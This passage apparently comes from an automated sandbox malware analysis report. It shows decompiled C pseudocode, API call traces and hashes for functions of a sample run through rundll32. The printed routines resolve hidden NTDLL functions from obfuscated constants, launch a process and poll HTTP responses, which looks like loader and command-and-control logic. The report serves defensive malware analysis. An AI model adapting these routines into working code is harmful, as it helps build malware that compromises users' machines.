                  0x04be2c5f
                  0x04be2c64
                  0x04be2c69
                  0x04be2c6c
                  0x04be2c71
                  0x04be2c7c
                  0x04be2c7e
                  0x04be2c81
                  0x04be2c81
                  0x04be2c83
                  0x04be2c8e
                  0x04be2c94
                  0x04be2c97
                  0x04be2c9c
                  0x04be2ca7
                  0x04be2ca9
                  0x04be2cb0
                  0x04be2cba
                  0x04be2cba
                  0x04be2cbc
                  0x04be2cc1
                  0x04be2cc7
                  0x04be2cca
                  0x04be2ccf
                  0x04be2cd9
                  0x04be2cdb
                  0x04be2cea
                  0x04be2cea
                  0x04be2cec
                  0x04be2cfa
                  0x04be2cff
                  0x04be2d01
                  0x04be2d07
                  0x04be2ee7
                  0x04be2eef
                  0x04be2efc
                  0x04be2d0d
                  0x04be2d19
                  0x04be2d1f
                  0x04be2d25
                  0x04be2eda
                  0x04be2ee5
                  0x00000000
                  0x04be2ee5
                  0x04be2d31
                  0x04be2d36
                  0x04be2d3f
                  0x04be2d50
                  0x04be2d54
                  0x04be2d5d
                  0x04be2d63
                  0x04be2d70
                  0x04be2d7d
                  0x04be2d83
                  0x04be2ecd
                  0x04be2ed8
                  0x00000000
                  0x04be2ed8
                  0x04be2d8f
                  0x04be2d95
                  0x04be2d96
                  0x04be2d9b
                  0x04be2da1
                  0x04be2ec3
                  0x04be2ecb
                  0x00000000
                  0x04be2ecb
                  0x04be2dab
                  0x04be2db2
                  0x04be2dbc
                  0x04be2dc2
                  0x04be2dcc
                  0x04be2dde
                  0x04be2de0
                  0x04be2de6
                  0x04be2eff
                  0x04be2eae
                  0x04be2eae
                  0x04be2eb3
                  0x04be2ebf
                  0x04be2ec1
                  0x00000000
                  0x04be2ec1
                  0x04be2df1
                  0x04be2df6
                  0x04be2dfc
                  0x04be2e07
                  0x04be2e12
                  0x04be2e16
                  0x04be2e1c
                  0x04be2e22
                  0x04be2e28
                  0x04be2e2b
                  0x04be2e31
                  0x04be2e34
                  0x04be2e39
                  0x04be2e3d
                  0x04be2e3d
                  0x04be2e4a
                  0x04be2e58
                  0x04be2e5d
                  0x04be2e5f
                  0x04be2e65
                  0x04be2e6b
                  0x04be2e6d
                  0x04be2e72
                  0x04be2e76
                  0x04be2e92
                  0x04be2e92
                  0x04be2e65
                  0x00000000
                  0x04be2e4c
                  0x04be2e51
                  0x04be2e94
                  0x04be2e98
                  0x04be2ea2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be2ea2
                  0x04be2e53
                  0x00000000
                  0x04be2e53
                  0x04be2e4a

                  APIs
                  • GetTickCount.KERNEL32 ref: 04BE2BA8
                  • wsprintfA.USER32 ref: 04BE2BF5
                  • wsprintfA.USER32 ref: 04BE2C12
                  • wsprintfA.USER32 ref: 04BE2C34
                  • wsprintfA.USER32 ref: 04BE2C5B
                  • wsprintfA.USER32 ref: 04BE2C7C
                  • wsprintfA.USER32 ref: 04BE2CA7
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE2CBA
                  • wsprintfA.USER32 ref: 04BE2CD9
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE2CEA
                    • Part of subcall function 04BE6B59: RtlEnterCriticalSection.NTDLL(056095C0), ref: 04BE6B75
                    • Part of subcall function 04BE6B59: RtlLeaveCriticalSection.NTDLL(056095C0), ref: 04BE6B93
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04BE2D19
                  • GetTickCount.KERNEL32 ref: 04BE2D2B
                  • RtlEnterCriticalSection.NTDLL(056095C0), ref: 04BE2D3F
                  • RtlLeaveCriticalSection.NTDLL(056095C0), ref: 04BE2D5D
                    • Part of subcall function 04BE6675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A0
                    • Part of subcall function 04BE6675: lstrlen.KERNEL32(00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A8
                    • Part of subcall function 04BE6675: strcpy.NTDLL ref: 04BE66BF
                    • Part of subcall function 04BE6675: lstrcat.KERNEL32(00000000,00000000), ref: 04BE66CA
                    • Part of subcall function 04BE6675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66E7
                  • StrTrimA.SHLWAPI(00000000,04BE9280,?,05609600), ref: 04BE2D8F
                    • Part of subcall function 04BE7563: lstrlen.KERNEL32(05609BD0,00000000,00000000,00000000,04BE3EF9,00000000), ref: 04BE7573
                    • Part of subcall function 04BE7563: lstrlen.KERNEL32(?), ref: 04BE757B
                    • Part of subcall function 04BE7563: lstrcpy.KERNEL32(00000000,05609BD0), ref: 04BE758F
                    • Part of subcall function 04BE7563: lstrcat.KERNEL32(00000000,?), ref: 04BE759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 04BE2DB2
                  • lstrcpy.KERNEL32(?,?), ref: 04BE2DBC
                  • lstrcat.KERNEL32(?,?), ref: 04BE2DCC
                  • lstrcat.KERNEL32(?,00000000), ref: 04BE2DD3
                    • Part of subcall function 04BE6536: lstrlen.KERNEL32(?,00000000,05609DD8,00000000,04BE6F0A,05609FFB,43175AC3,?,?,?,?,43175AC3,00000005,04BEA00C,4D283A53,?), ref: 04BE653D
                    • Part of subcall function 04BE6536: mbstowcs.NTDLL ref: 04BE6566
                    • Part of subcall function 04BE6536: memset.NTDLL ref: 04BE6578
                  • wcstombs.NTDLL ref: 04BE2E76
                    • Part of subcall function 04BE597D: SysAllocString.OLEAUT32(?), ref: 04BE59B8
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE2EBF
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04BE2ECB
                  • HeapFree.KERNEL32(00000000,?,?,05609600), ref: 04BE2ED8
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE2EE5
                  • HeapFree.KERNEL32(00000000,?), ref: 04BE2EEF
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                  • String ID:
                  • API String ID: 1185349883-0
                  • Opcode ID: 31bd3ec6a885dbc2d789fa709c0fee1239a99c55bf43f3dfc2c7386f561b5ff7
                  • Instruction ID: 888cd9f8942f14486d76a28924c68cabaf3d5141e17511c2d384cadd114ddec5
                  • Opcode Fuzzy Hash: 31bd3ec6a885dbc2d789fa709c0fee1239a99c55bf43f3dfc2c7386f561b5ff7
                  • Instruction Fuzzy Hash: 6AA16771500214AFDB11EB66DC84E6A7BECEFC8714F0509AAF449DB221D739EC49CB62
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE7238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 43%
                  			E04BE7238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x4bea3dc; // 0x5609c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E04BE6ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E04BE6ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E04BE42E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E04BE42E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E04BE398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x4be918c;
						}
						_t70 = E04BE5FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E04BE33DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x4bea348; // 0xa1d5a8
								_t102 =  *0x4bea138; // 0x4be7ddd
								_t28 = _t105 + 0x4bebd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E04BE398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x4be9190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E04BE33DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E04BE61DA(_v24);
								} else {
									_t92 =  *0x4bea348; // 0xa1d5a8
									_t44 = _t92 + 0x4beba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E04BE61DA(_v8);
						}
						E04BE61DA(_v12);
					}
					E04BE61DA(_v16);
				}
				return _v28;
			}



































                  0x04be723e
                  0x04be7246
                  0x04be7249
                  0x04be7256
                  0x04be7259
                  0x04be7260
                  0x04be7267
                  0x04be726a
                  0x04be7277
                  0x04be727a
                  0x04be727d
                  0x04be7282
                  0x04be7287
                  0x04be728f
                  0x04be7294
                  0x04be7299
                  0x04be729f
                  0x04be72a3
                  0x04be72ac
                  0x04be72b0
                  0x04be72b2
                  0x04be72b2
                  0x04be72ba
                  0x04be72bf
                  0x04be72c4
                  0x04be72ca
                  0x04be72d1
                  0x04be72e2
                  0x04be72e9
                  0x04be72fb
                  0x04be7300
                  0x04be7305
                  0x04be730e
                  0x04be7317
                  0x04be7320
                  0x04be7336
                  0x04be733b
                  0x04be733f
                  0x04be7343
                  0x04be7348
                  0x04be734d
                  0x04be734f
                  0x04be734f
                  0x04be7359
                  0x04be7362
                  0x04be7369
                  0x04be7385
                  0x04be7389
                  0x04be73c2
                  0x04be738b
                  0x04be738e
                  0x04be7396
                  0x04be73a7
                  0x04be73af
                  0x04be73b7
                  0x04be73bb
                  0x04be73bb
                  0x04be7389
                  0x04be73ca
                  0x04be73ca
                  0x04be73d2
                  0x04be73d2
                  0x04be73da
                  0x04be73da
                  0x04be73e6

                  APIs
                  • GetTickCount.KERNEL32 ref: 04BE7250
                  • lstrlen.KERNEL32(00000000,00000005), ref: 04BE72D1
                  • lstrlen.KERNEL32(?), ref: 04BE72E2
                  • lstrlen.KERNEL32(00000000), ref: 04BE72E9
                  • lstrlenW.KERNEL32(80000002), ref: 04BE72F0
                  • lstrlen.KERNEL32(?,00000004), ref: 04BE7359
                  • lstrlen.KERNEL32(?), ref: 04BE7362
                  • lstrlen.KERNEL32(?), ref: 04BE7369
                  • lstrlenW.KERNEL32(?), ref: 04BE7370
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$CountFreeHeapTick
                  • String ID:
                  • API String ID: 2535036572-0
                  • Opcode ID: 147d59dcfcdc3a44d37bd006db051f6c171281d001a2c669e2b6f75ec850c885
                  • Instruction ID: 9abf805be0f271427204b72f4f684561edac094111c88b40600ef3e80597f162
                  • Opcode Fuzzy Hash: 147d59dcfcdc3a44d37bd006db051f6c171281d001a2c669e2b6f75ec850c885
                  • Instruction Fuzzy Hash: 68519472D00119ABDF12AFA6CC44DEE7BB5EF84314F0540A5ED04AB211DB35EE25DBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE37DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 73%
                  			E04BE37DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E04BE6BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E04BE7AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x4bea300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x4bea348; // 0xa1d5a8
					_t18 = _t47 + 0x4beb706; // 0x73797325
					_t68 = E04BE127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x4bea348; // 0xa1d5a8
						_t19 = _t50 + 0x4beb86c; // 0x5608e14
						_t20 = _t50 + 0x4beb3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E04BE5B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E04BE5B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4bea2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E04BE61DA(_t70);
				goto L12;
			}


















                  0x04be37e7
                  0x04be37e7
                  0x04be37f6
                  0x04be37fd
                  0x04be3802
                  0x04be390f
                  0x04be3916
                  0x04be3916
                  0x04be3811
                  0x04be3819
                  0x04be381c
                  0x04be3821
                  0x04be3836
                  0x04be383c
                  0x04be383d
                  0x04be3840
                  0x04be3846
                  0x04be3849
                  0x04be384e
                  0x04be3856
                  0x04be3862
                  0x04be3866
                  0x04be38f6
                  0x04be386c
                  0x04be386c
                  0x04be3871
                  0x04be3878
                  0x04be388c
                  0x04be3890
                  0x04be38df
                  0x04be3892
                  0x04be3893
                  0x04be389a
                  0x04be38b3
                  0x04be38b5
                  0x04be38b9
                  0x04be38c0
                  0x04be38da
                  0x04be38c2
                  0x04be38cb
                  0x04be38d0
                  0x04be38d0
                  0x04be38c0
                  0x04be38ee
                  0x04be38ee
                  0x04be3866
                  0x04be38fd
                  0x04be3906
                  0x04be390a
                  0x00000000

                  APIs
                    • Part of subcall function 04BE6BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04BE37FB,?,?,?,?,00000000,00000000), ref: 04BE6C1E
                    • Part of subcall function 04BE6BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04BE6C40
                    • Part of subcall function 04BE6BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04BE6C56
                    • Part of subcall function 04BE6BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04BE6C6C
                    • Part of subcall function 04BE6BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04BE6C82
                    • Part of subcall function 04BE6BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04BE6C98
                  • memset.NTDLL ref: 04BE3849
                    • Part of subcall function 04BE127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04BE3862,73797325), ref: 04BE128F
                    • Part of subcall function 04BE127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04BE12A9
                  • GetModuleHandleA.KERNEL32(4E52454B,05608E14,73797325), ref: 04BE387F
                  • GetProcAddress.KERNEL32(00000000), ref: 04BE3886
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE38EE
                    • Part of subcall function 04BE5B56: GetProcAddress.KERNEL32(36776F57,04BE2425), ref: 04BE5B71
                  • CloseHandle.KERNEL32(00000000,00000001), ref: 04BE38CB
                  • CloseHandle.KERNEL32(?), ref: 04BE38D0
                  • GetLastError.KERNEL32(00000001), ref: 04BE38D4
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                  • String ID:
                  • API String ID: 3075724336-0
                  • Opcode ID: 9b6bf13fa1c16fd169febd00f27a2b8856297b2214462ba04f1132860dc5dd44
                  • Instruction ID: c21363533e1223e0c195fe43fb0afc2a6e0dfe7ac024672acea618521be2e6b4
                  • Opcode Fuzzy Hash: 9b6bf13fa1c16fd169febd00f27a2b8856297b2214462ba04f1132860dc5dd44
                  • Instruction Fuzzy Hash: B83123B5900208AFDB10EFE6DC84DAEBBFCEF88314F1144A5EA06A7111D735AD49DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE3FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE3FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04BE33DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E04BE61DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04BE16B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                  0x04be3fa5
                  0x04be3fa5
                  0x04be3fb5
                  0x04be3fb8
                  0x04be3fbc
                  0x04be3fc2
                  0x04be3fc7
                  0x04be3fe0
                  0x04be3ff4
                  0x04be3ffb
                  0x04be4002
                  0x04be4055
                  0x04be405b
                  0x04be4061
                  0x04be409c
                  0x04be40a2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be4061
                  0x04be4008
                  0x00000000
                  0x04be400f
                  0x04be401d
                  0x04be4020
                  0x04be4023
                  0x04be402f
                  0x04be4033
                  0x04be4095
                  0x04be4035
                  0x04be4047
                  0x04be4085
                  0x04be4090
                  0x04be4049
                  0x04be404c
                  0x04be4050
                  0x04be4050
                  0x04be4047
                  0x00000000
                  0x04be4033
                  0x04be4008
                  0x04be3fcc
                  0x04be3fd2
                  0x04be3fd5
                  0x04be3fda
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be406a
                  0x04be4072
                  0x04be4077
                  0x04be407a
                  0x00000000

                  APIs
                  • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 04BE3FBC
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04BE3F34,00000000,?), ref: 04BE3FCC
                  • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 04BE3FFE
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04BE4023
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04BE4043
                  • GetLastError.KERNEL32 ref: 04BE4055
                    • Part of subcall function 04BE16B2: WaitForMultipleObjects.KERNEL32(00000002,04BE7C47,00000000,04BE7C47,?,?,?,04BE7C47,0000EA60), ref: 04BE16CD
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  • GetLastError.KERNEL32(00000000), ref: 04BE408A
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                  • String ID:
                  • API String ID: 3369646462-0
                  • Opcode ID: 431ff2df2cc13685068183def5b1c4eaa85c9baa67b57f9a22af7016a3832b56
                  • Instruction ID: 401e15bb4a0558ac2e3e17a2db467c08eb65b5785d1d39ed15e8a7475262c4a3
                  • Opcode Fuzzy Hash: 431ff2df2cc13685068183def5b1c4eaa85c9baa67b57f9a22af7016a3832b56
                  • Instruction Fuzzy Hash: E23124B5D00309EFDB20DFF6C8849AEB7F8EB88304F1049BAD60297142D775AA449F51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE3A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(00000000), ref: 04BE3ABD
                  • SysAllocString.OLEAUT32(0070006F), ref: 04BE3AD1
                  • SysAllocString.OLEAUT32(00000000), ref: 04BE3AE3
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE3B4B
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE3B5A
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE3B65
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: 79bee3ce714b23ab8e186fe7524bb660f448efb22980be0ef5cfa188e6548f5f
                  • Instruction ID: a04f75d5a1ead140d30ef350c6f28b645c0e3142d03db048c01c8fc4ade16265
                  • Opcode Fuzzy Hash: 79bee3ce714b23ab8e186fe7524bb660f448efb22980be0ef5cfa188e6548f5f
                  • Instruction Fuzzy Hash: 1A414D36900609ABDF01DFB9D844AAEB7BAEF89310F144466ED11EB110DB71EE05CB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE6BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE6BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04BE33DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4bea348; // 0xa1d5a8
					_t1 = _t23 + 0x4beb436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4bea348; // 0xa1d5a8
					_t2 = _t26 + 0x4beb85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04BE61DA(_t54);
					} else {
						_t30 =  *0x4bea348; // 0xa1d5a8
						_t5 = _t30 + 0x4beb849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4bea348; // 0xa1d5a8
							_t7 = _t33 + 0x4beb72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4bea348; // 0xa1d5a8
								_t9 = _t36 + 0x4beb883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4bea348; // 0xa1d5a8
									_t11 = _t39 + 0x4beb87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04BE7A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                  0x04be6c08
                  0x04be6c0c
                  0x04be6cce
                  0x04be6c12
                  0x04be6c12
                  0x04be6c17
                  0x04be6c2a
                  0x04be6c2c
                  0x04be6c31
                  0x04be6c39
                  0x04be6c40
